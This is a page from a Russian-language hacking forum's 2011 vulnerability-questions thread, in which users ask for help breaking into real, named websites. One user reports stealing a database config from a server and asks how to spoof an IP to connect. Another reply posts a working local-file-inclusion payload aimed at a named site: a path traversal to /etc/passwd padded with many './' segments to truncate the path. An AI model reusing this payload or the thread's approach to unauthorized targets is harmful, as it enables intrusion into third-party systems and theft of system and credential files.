HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1626 из 2438 « Первая < 6261126152615761616 1622 1623 1624 1625 1626 1627 1628 1629 1630 1636167617262126 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #16251  
Старый 02.02.2011, 18:49
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
Цитата:
Сообщение от Samael91  
Samael91 said:
Подскажите пожалуйста это PHP-inj?
http://smsa.net.ru/tv/index.php?id=1h
нет.
 
Ответить с цитированием

  #16252  
Старый 02.02.2011, 21:27
Unknown
Guest
Сообщений: n/a
Провел на форуме:
28895

Репутация: 4
По умолчанию
Ребят подскажите, выдрал с сервера конфиг зенда, следующего вида

db.adapter = "pdo_mysql"

db.host = "blabla"

db.port = "3306"

db.username = "blabla"

db.password = "blabla"

db.dbname = "blabla"

db.charset ="utf8"

Порт из вне открыт к дб, а вот коннект сделать не могу, прочитал в разделе коддинга, что может быть строка в дб adress(то есть ip с которых можно подключиться к дб.) один разрешенный ip знаю, как подделать коннект с тем ip что знаю? или моя идея бредовая?
 
Ответить с цитированием

  #16253  
Старый 02.02.2011, 22:36
Zalepoks
Guest
Сообщений: n/a
Провел на форуме:
1289

Репутация: 0
По умолчанию
Здравствуйте, не могли бы вы подсказать ?

выдает на страничке:

Warning: include_once(../config.php) [function.include-once]: failed to open stream: No such file or directory in /www/ontariow/www/htdocs/usercp/store/addbal.php on line 1

Warning: include_once() [function.include]: Failed opening '../config.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /www/ontariow/www/htdocs/usercp/store/addbal.php on line 1

Это несет в себе уязвимость ?
 
Ответить с цитированием

  #16254  
Старый 02.02.2011, 22:47
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
Цитата:
Сообщение от Zalepoks  
Zalepoks said:
Здравствуйте, не могли бы вы подсказать ?
выдает на страничке:
Warning: include_once(../config.php) [function.include-once]: failed to open stream: No such file or directory in /www/ontariow/www/htdocs/usercp/store/addbal.php on line 1
Warning: include_once() [function.include]: Failed opening '../config.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /www/ontariow/www/htdocs/usercp/store/addbal.php on line 1
Это несет в себе уязвимость ?
информация очень скудна...при каких обстоятельствах появилось данное сообщение? что делал? и как? с такой инфой тебе никто ничего не скажет, экстрасенсов на форуме не наблюдал
 
Ответить с цитированием

  #16255  
Старый 03.02.2011, 00:20
Zalepoks
Guest
Сообщений: n/a
Провел на форуме:
1289

Репутация: 0
По умолчанию
это лк фришного айона ontarioworld.ru/usercp

дижок как бы dle. а ошибка вылазит в

http://ontarioworld.ru/usercp/prem.php?p=addbal

также есть ошибка в

http://ontarioworld.ru/usercp/cp.php

в отсальном дыр нет

Сильно не пинайте если что-то не так описал
 
Ответить с цитированием

  #16256  
Старый 03.02.2011, 00:27
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
Цитата:
Сообщение от Zalepoks  
Zalepoks said:
это лк фришного айона ontarioworld.ru/usercp
дижок как бы dle. а ошибка вылазит в
http://ontarioworld.ru/usercp/prem.php?p=addbal
также есть ошибка в
http://ontarioworld.ru/usercp/cp.php
в отсальном дыр нет
Сильно не пинайте если что-то не так описал
ну смотри, если на сайте есть какая нибудь ошибка, вернее текст какой нить ошибки без каких либо действий со стороны пользователя (имею в виду подставление ковычки, иаменение пост или гет запроса) , то это не значит что на ресурсе есть уязвимость..может она на данном ресурсе и есть.. но за тебя никто ничего делать не будет, предпринимай действия...и тогда уже обращайся
 
Ответить с цитированием

  #16257  
Старый 03.02.2011, 00:32
~d0s~
Познающий
Регистрация: 17.04.2010
Сообщений: 75
Провел на форуме:
691279

Репутация: 55
По умолчанию
Zalepoks

Код:
Code:
http://ontarioworld.ru/usercp/prem.php?p=../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
Цитата:
Сообщение от Lasteeck  
Lasteeck said:
если на сайте уже присутствует ошибка насколько я знаю, то сайт уже хакнут кем то
Флуданул,доволен?Тут люди вопросы задают,а ты какой-то бред несешь про ошибки,даже сам не понимая про что говоришь!!111

Если ошибка на сайте,то сайт хекнут,акуеть логика!11

Думаешь блеснул своим хекирским мастерством и показал смекалку,ответив в этой теме?Ты только лишний раз показал обратное...
 
Ответить с цитированием

  #16258  
Старый 03.02.2011, 01:15
Unknown
Guest
Сообщений: n/a
Провел на форуме:
28895

Репутация: 4
По умолчанию
Ребят никто так и не ответил на мой пост /showthread.php?p=2539364#post2539364, логику не понимаю, тут тема для флуда и гнобения других мемберов?
 
Ответить с цитированием

  #16259  
Старый 03.02.2011, 01:17
Lasteeck
Познающий
Регистрация: 05.04.2010
Сообщений: 30
Провел на форуме:
151946

Репутация: 2
По умолчанию
Цитата:
Сообщение от Lijzer  
Lijzer said:
Ребят никто так и не ответил на мой пост /showthread.php?p=2539364#post2539364, логику не понимаю, тут тема для флуда и гнобения других мемберов?
не несет никакой уязвимости
 
Ответить с цитированием

  #16260  
Старый 03.02.2011, 01:26
fl00der
Постоянный
Регистрация: 17.12.2008
Сообщений: 353
Провел на форуме:
919131

Репутация: 74
По умолчанию
Парни, остыньте.

Цитата:
Сообщение от Lijzer  
Lijzer said:
Ребят подскажите, выдрал с сервера конфиг зенда, следующего вида
db.adapter = "pdo_mysql"
db.host = "blabla"
db.port = "3306"
db.username = "blabla"
db.password = "blabla"
db.dbname = "blabla"
db.charset ="utf8"
Порт из вне открыт к дб, а вот коннект сделать не могу, прочитал в разделе коддинга, что может быть строка в дб adress(то есть ip с которых можно подключиться к дб.) один разрешенный ip знаю, как подделать коннект с тем ip что знаю? или моя идея бредовая?
Вполне возможно, что так и есть.

Тогда ниче ты не сделаешь, там даже может быть IP локалхоста или локальный IP из их подсети.

IP спуфинг невозможен.
 
Ответить с цитированием
Ответ
Страница 1626 из 2438 « Первая < 6261126152615761616 1622 1623 1624 1625 1626 1627 1628 1629 1630 1636167617262126 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ